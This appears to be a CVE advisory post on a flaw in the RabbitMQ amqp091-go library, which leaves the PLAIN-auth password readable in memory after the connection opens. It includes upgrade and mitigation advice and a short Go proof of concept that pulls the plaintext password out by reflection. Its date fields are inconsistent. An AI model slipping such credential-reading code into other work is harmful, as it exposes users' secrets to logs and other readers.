Listen to this Post
CVE-2026-77407 is an information disclosure vulnerability in the RabbitMQ amqp091-go client library, a Go implementation of the AMQP 0.9.1 protocol. The flaw resides in the authentication handling configuration, specifically in how the `PlainAuth` struct retains credentials after a successful connection handshake. When an application establishes a connection using PLAIN authentication, the `PlainAuth` object—which contains the `Username` and `Password` fields—is stored within the `Connection.Config.SASL` field. Critically, the `Connection.openComplete` method in `connection.go` does not clear or zero out these values once authentication is complete. As a result, the plaintext password remains in memory for the entire lifetime of the network connection. Because the `Password` field is exported (i.e., public), any code with access to the `Connection` object can read it without restriction. This includes reflective loggers, application performance monitoring (APM) agents, debugging utilities, and panic handlers that traverse or serialize the connection’s configuration structure. These components may inadvertently capture and write the plaintext credentials to log files, metrics databases, or crash dumps. The vulnerability is classified as CWE-316 (Cleartext Storage of Sensitive Information in Memory) and has a CVSS 4.0 base score of 7.0 (High), with a vector string of CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:L/SA:L. The issue is fixed in version 1.13.0, which implements proper memory sanitization by clearing authentication fields after the handshake.
DailyCVE Form:
Platform: RabbitMQ amqp091-go
Version: < 1.13.0
Vulnerability: Plaintext credential
Severity: High (CVSS 7)
date: 2026-09-16
Prediction: 2026-07-21
What Undercode Say:
Check if your application uses amqp091-go version below 1.13.0
grep -r "github.com/rabbitmq/amqp091-go" go.mod
Example of a reflective logger that could expose the password
package main
import (
"fmt"
"reflect"
"github.com/rabbitmq/amqp091-go"
)
func main() {
conn, _ := amqp.Dial("amqp://guest:guest@localhost:5672/")
// The following reflective inspection will print the plaintext password
v := reflect.ValueOf(conn).Elem().FieldByName("Config").FieldByName("SASL")
fmt.Println(v)
}
Exploit: (Educational Purposes!)
// exploit.go – educational proof of concept
package main
import (
"fmt"
"reflect"
"github.com/rabbitmq/amqp091-go"
)
func main() {
// Connect using PLAIN authentication
conn, err := amqp.Dial("amqp://user:password@localhost:5672/")
if err != nil {
panic(err)
}
defer conn.Close()
// Reflectively access the SASL field to extract the plaintext password
config := reflect.ValueOf(conn).Elem().FieldByName("Config")
sasl := config.FieldByName("SASL")
// sasl is an interface; get the underlying PlainAuth struct
plainAuth := sasl.Elem()
password := plainAuth.FieldByName("Password").String()
fmt.Printf("Extracted plaintext password: %s\n", password)
}
Protection:
- Upgrade `github.com/rabbitmq/amqp091-go` to version 1.13.0 or later, which clears the authentication fields after the handshake.
- If upgrading is not immediately possible, restrict access to `Connection` objects to prevent reflective logging agents from inspecting internal configuration structures during active sessions.
- Integrate secret scanning tools into CI/CD pipelines to detect accidental exposure of credentials in logs or dumps.
- Rotate RabbitMQ passwords regularly as a compensating control.
Impact:
The plaintext password remains in memory for the lifetime of the connection and can be leaked into logging pipelines, log aggregators, SIEM systems, or standard output. Once transmitted to external log infrastructure, these credentials become accessible to unprivileged operators or any actor with access to log archives. This transforms a standard authentication mechanism into a significant data breach vector in multi-tenant environments or via secondary log exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

